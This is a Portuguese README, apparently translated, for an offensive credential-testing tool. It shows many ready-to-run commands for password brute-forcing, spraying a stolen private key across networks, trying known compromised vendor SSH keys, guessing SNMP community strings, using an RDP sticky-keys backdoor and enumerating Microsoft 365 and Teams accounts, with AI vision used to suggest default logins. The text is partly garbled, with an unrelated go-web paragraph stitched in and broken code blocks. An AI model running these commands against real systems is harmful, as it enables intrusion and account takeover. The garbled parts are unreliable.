---

## Casos de Uso

### Teste de Penetração
- Validar credenciais descobertas em múltiplos serviços durante avaliações internas
- Testar padrões de reutilização de senhas entre serviços de banco de dados e compartilhamento de arquivos
- Identificar credenciais padrão em infraestrutura recém-implantada

### Operações de Red Team
- Validação rápida de credenciais após vazamentos de senhas ou campanhas de phishing
- Testar oportunidades de movimento lateral em serviços de rede
- Validar credenciais comprometidas em ambientes heterogêneos

### Spraying de Chaves Privadas

Encontrou uma chave privada em um sistema comprometido? Espalhe-a pela rede para descobrir onde mais ela concede acesso:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
  nerva --json | \
  brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json

### Validação de Segurança
- Testar credenciais padrão em serviços recém-implantados
- Validar a aplicação da política de senhas em todas as plataformas
- Gerar trilhas de auditoria para conformidade e avaliações de segurança

---

## Instalação

### Binários Pré-construídos (Recomendado)

Baixar dos [Lançamentos do GitHub](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/

### Instalação do Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest

Cada subcomando possui aliases para descoberta:

| Subcomando | Aliases |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(nenhum)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor

# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai

# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"

# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive

# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389

# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

### Exemplo de Saída```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)

Saída JSON para integração de pipeline (exibe apenas credenciais bem-sucedidas):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}

#### Cenário 2: Bug Bounty Recon em um Domínio Alvo```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
  nerva --json | \
  brutus creds

# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds

#### Cenário 4: Teste de Chave SSH em Toda a Infraestrutura```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
  nerva --json | \
  brutus badkeys --json -o ssh-key-findings.json

# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'

### Importação de Ferramentas de Varredura (Nmap & Masscan)

Brutus pode importar alvos diretamente de arquivos de saída de varredura do **nmap** e **masscan**, eliminando a necessidade de conversão de formato ou ferramentas intermediárias.

#### Importação de XML do Nmap (`--nmap-file`)

Importa alvos da saída XML do nmap (`-oX`). O nmap fornece impressão digital de serviços, então o Brutus mapeia automaticamente os serviços detectados para o protocolo correto:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389

# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt

# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"

# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive

# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json

#### Combinando com Outros Fluxos de Trabalho

As flags `--nmap-file` e `--masscan-file` funcionam com todos os subcomandos e são mutuamente exclusivas com `--target`, `--targets-file` e stdin:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml

# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml

# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"

**Nerva URI** (saída padrão do Nerva, sem necessidade de `--json`):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)

# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds

Brutus automaticamente:
- Analisa JSON, esquema URI e formatos de alvo simples
- Mapeia serviços para protocolos
- Testa credenciais padrão apropriadas
- Produz resultados no formato JSON correspondente

### Formato de Saída do Pipeline

Brutus produz apenas credenciais bem-sucedidas no formato JSONL (um objeto JSON por linha):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}

### Coleção de Chaves Incorporadas

| Product | CVE | Default User | Description |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | Chave insegura do HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Chave de host SSH estática |
| ExaGrid | CVE-2016-1561 | root | Backdoor do appliance de backup |
| Monroe DASDEC | CVE-2013-0137 | root | Sistemas de alerta de emergência |
| Barracuda | CVE-2014-8428 | cluster | VM do balanceador de carga |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul sem fio |
| Array Networks | - | sync | Appliances vAPV/vxAG |
| Quantum DXi | - | root | Appliances de desduplicação |
| Loadbalancer.org | - | root | Balanceadores de carga empresariais |

---

## Modos de Agressividade

A flag global `--mode` (`-m`) controla a agressividade em todos os subcomandos. Ela define predefinições de ajuste de desempenho que equilibram cobertura contra segurança:

| Mode | Threads | Timeout | Rate Limit | Jitter | Retries | Use Case |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Ambientes de produção, evitar bloqueios |
| `default` | 10 | 10s | Unlimited | None | 2 | Testes padrão |
| `aggressive` | 20 | 10s | Unlimited | None | 3 | Ambientes de laboratório/CTF, cobertura máxima |

As predefinições de modo são aplicadas primeiro, depois quaisquer flags CLI explícitas as substituem:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt

# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt

# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20

Supported schemes:
- `socks5://` — Proxy SOCKS5 padrão (resolução DNS no cliente)
- `socks5h://` — SOCKS5 com resolução DNS remota (útil para segmentar hostnames internos)

---

## Teste de String de Comunidade SNMP

O subcomando `snmp` fornece teste dedicado de string de comunidade SNMP v1/v2c com listas de palavras em camadas controladas pela flag global `--mode`:

| Modo | Strings | Cobertura |
|------|---------|-----------|
| `cauteloso` | ~25 | Strings comuns (public, private, community, etc.) |
| `padrão` | ~25 | Mesmo que cauteloso |
| `agressivo` | 200+ | Abrangente (específico do fornecedor, SCADA, câmeras IP, armazenamento, etc.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161

# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive

# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"

# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt

# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive

Para instalar uma versão do banco de dados, você pode usar `go get -u go-web/go-api`, mas isso irá baixar várias dependências. Em seguida, você pode executar o servidor com `go-web [global options]`.

### 📄 Painel de Administração e Consultas

Para compilar o painel, copie `example.env` para `.env` e altere as variáveis de ambiente para as suas.

Em seguida, você pode compilar o binário do painel:```go
package main

import (
    "fmt"
    "time"

    "github.com/praetorian-inc/brutus/pkg/brutus"
    _ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)

func main() {
    config := &brutus.Config{
        Target:        "192.168.1.100:22",
        Protocol:      "ssh",
        Usernames:     []string{"root", "admin"},
        Passwords:     []string{"password", "admin", "toor"},
        Timeout:       5 * time.Second,
        Threads:       10,
    }

    results, err := brutus.Brute(config)
    if err != nil {
        panic(err)
    }

    for _, r := range results {
        if r.Success {
            fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
        }
    }
}

**Como funciona:**

1. **Detecção** — Brutus testa alvos HTTP para detectar o tipo de autenticação (Basic Auth vs formulário)
2. **Identificação do Dispositivo** — Claude Vision analisa capturas de tela para identificar o dispositivo/aplicação
3. **Sugestões de Credenciais** — Claude sugere credenciais padrão com base em seus dados de treinamento
4. **Pesquisa Web Opcional** — Perplexity (se configurado) busca credenciais adicionais online
5. **Teste** — Testa as credenciais descobertas contra o alvo

**Para alvos com HTTP Basic Auth:**
- Sonda `/` para capturar cabeçalhos HTTP
- Identifica o dispositivo a partir do cabeçalho Server, realm do WWW-Authenticate, etc.
- Claude sugere possíveis credenciais padrão
- Testa pares de credenciais automaticamente

**Para alvos com autenticação baseada em formulário HTTP:**
- Usa Chrome headless para renderizar e capturar a tela da página
- Claude Vision identifica o formulário de login, tipo de dispositivo e sugere credenciais
- Perplexity (opcional) busca credenciais padrão adicionais
- Automação do navegador preenche e envia o formulário

**Requisitos:**
- `ANTHROPIC_API_KEY` — **Obrigatório** para Claude Vision (identificação do dispositivo + sugestões de credenciais)
- `PERPLEXITY_API_KEY` — *Opcional* para pesquisa adicional na web
- Chrome/Chromium instalado (apenas para autenticação baseada em formulário)

**Protocolos não HTTP (SSH, MySQL, etc.) não são afetados por `--experimental-ai`** — eles continuam usando o teste padrão de credenciais.

---

## RDP: Detecção e Exploração de Backdoor de Teclas de Aderência

Brutus inclui detecção automática do **backdoor de teclas de aderência** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) em alvos RDP. Esta verificação pré-autenticação é executada em alvos RDP sem NLA — não requer credenciais.

**Como funciona:**

1. Conecta-se ao alvo RDP e negocia uma sessão sem NLA
2. Captura o bitmap da tela de login como referência
3. Envia 5x Shift (o gatilho das teclas de aderência)
4. Captura o bitmap de resposta
5. Análise heurística detecta se uma janela de terminal apareceu (cmd.exe, PowerShell, etc.)
6. Opcionalmente confirma via API Claude Vision (quando `ANTHROPIC_API_KEY` está configurada)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389

# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai

**Saída de detecção:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.

Isso conecta, aciona o backdoor, digita o comando, pressiona Enter, aguarda a saída e salva uma captura de tela PNG do resultado.

### Terminal Web Interativo (`--web`)

Inicie um visualizador RDP baseado em navegador para interação ao vivo com o prompt de comando do backdoor:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web

**Implementação técnica:** O suporte ao protocolo RDP usa [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) compilado para WebAssembly e executado via [wazero](https://github.com/tetratelabs/wazero), mantendo o design zero-CGO e binário único do Brutus.

---

## Enumeração de Contas

O subcomando `enum` enumera quais oráculos de existência de conta funcionam para uma organização (e enumera e-mails contra eles) ou enumera usuários do Active Directory, tudo sem enviar senhas.

### Enumeração de Oráculo de Existência de Conta

Identifique quais oráculos de existência de conta não autenticados (microsoft365, google, github, mais o oráculo do Microsoft Teams) funcionam para uma organização, valide-os contra um usuário conhecido-válido e, em seguida, enumere e-mails candidatos contra os oráculos funcionais. O reconhecimento DNS TXT revela os oráculos candidatos; a validação contra `--known-valid` é o destaque. `--known-valid` é obrigatório, e a enumeração é executada apenas contra os oráculos que o confirmam:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]

# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]

# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]

# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]

# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]

### Geração de E-mail/Nome de Usuário

Gere endereços de e-mail ou nomes de usuário a partir de listas de palavras de nomes próprios/sobrenomes incorporadas:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast

# Generate usernames only (no domain): jsmith
brutus enum generate --format flast

# Available formats: first.last, flast, firstl, f.last, lastf, last.first, lastfirst, first
brutus enum generate --domain example.com --format first.last

---

### Autenticação do Microsoft Teams / Entra ID

Obtenha um token de acesso OAuth2, token de atualização e token de ID do Microsoft Entra ID (Azure AD) usando o [fluxo de código de dispositivo](https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-device-code) (RFC 8628). Os tokens resultantes podem ser usados para chamadas da API do Microsoft Graph, enumeração do Teams e auditoria por meio de ferramentas como [ROADtools](https://github.com/dirkjanm/ROADtools) ou consultas Graph personalizadas.```bash
# Authenticate against the common endpoint (any Microsoft tenant)
brutus enum active teams auth

# Authenticate against a specific tenant by domain or GUID
brutus enum active teams auth --tenant contoso.com
brutus enum active teams auth --tenant 00000000-0000-0000-0000-000000000000

# Request a different resource scope (space-separated). The default targets the
# Skype/Teams resource (api.spaces.skype.com); the Teams client is NOT
# authorized for Microsoft Graph (Graph yields AADSTS65002).
brutus enum active teams auth --scope "offline_access https://api.spaces.skype.com/.default"

# Use a custom app registration (your own Azure app client ID)
brutus enum active teams auth --client-id 00000000-0000-0000-0000-000000000000

# Capture the full token set as JSONL for piping to other tools
brutus enum active teams auth -o tokens.jsonl
brutus enum active teams auth --json

#### Enumeração de usuários do Teams

Uma vez autenticado, enumere usuários corporativos do Teams por endereço de e-mail. Cada
resultado é `exists`, `blocked` (o locatário proíbe pesquisa externa, mas o usuário
pode existir), `not found` ou `unknown` (falha de autenticação/transporte). Contas Personal/Live
não são suportadas — apenas locatários corporativos.```bash
# Device-code auth inline, then enumerate a couple of emails
brutus enum active teams users -e [email protected],[email protected]

# Generate candidate emails for a domain and enumerate the most-likely 5000
# (presence and out-of-office are gathered by default; use --no-presence to skip)
brutus enum active teams users --domain target.com --format first.last --limit 5000

# Enumerate emails from a file
brutus enum active teams users -E emails.txt

# Reuse a token captured earlier and route through a SOCKS5 proxy
brutus enum active teams auth -o token.jsonl
brutus enum active teams users -E emails.txt --token-file token.jsonl --proxy socks5://127.0.0.1:1080

# Provide an access token directly
brutus enum active teams users -e [email protected] --access-token "$TOKEN"

`--domain` reutiliza o mesmo gerador de nomes próprios/sobrenomes ordenados por frequência que `enum generate`; `--format` seleciona o layout do nome de usuário e `--limit` limita a geração aos primeiros N candidatos (mais prováveis). `--domain` pode ser combinado com `-e`/`-E`.

---

## Limitações Conhecidas

### Detecção Heurística de Teclas de Aderência

- **Falsos negativos alternados:** A detecção exclusivamente heurística (`brutus logon` sem `--experimental-ai`) pode produzir falsos negativos em escaneamentos repetidos contra o mesmo alvo. Após uma detecção bem-sucedida, a janela do cmd.exe permanece aberta no servidor. Conexões subsequentes veem o cmd.exe no quadro de referência, e como enviar 5x Shift não cria uma nova janela, a diferença de pixels é mínima — resultando em um veredito "limpo". Isso não afeta o modo `--experimental-ai`, que usa a análise da API Vision diretamente no quadro de resposta (não uma diferença entre quadro de referência e resposta) e identifica confiavelmente a janela do terminal independentemente do estado anterior.
- **Solução alternativa:** Use `--experimental-ai` com `ANTHROPIC_API_KEY` configurada para detecção consistente em escaneamentos repetidos, ou aguarde um intervalo entre escaneamentos para a sessão RDP ser reiniciada.

### Plugin do Navegador

- Requer Chrome/Chromium instalado localmente
- O modo headless pode não funcionar em todos os sistemas
- Algumas páginas de login com muito JavaScript podem exigir tempo de espera adicional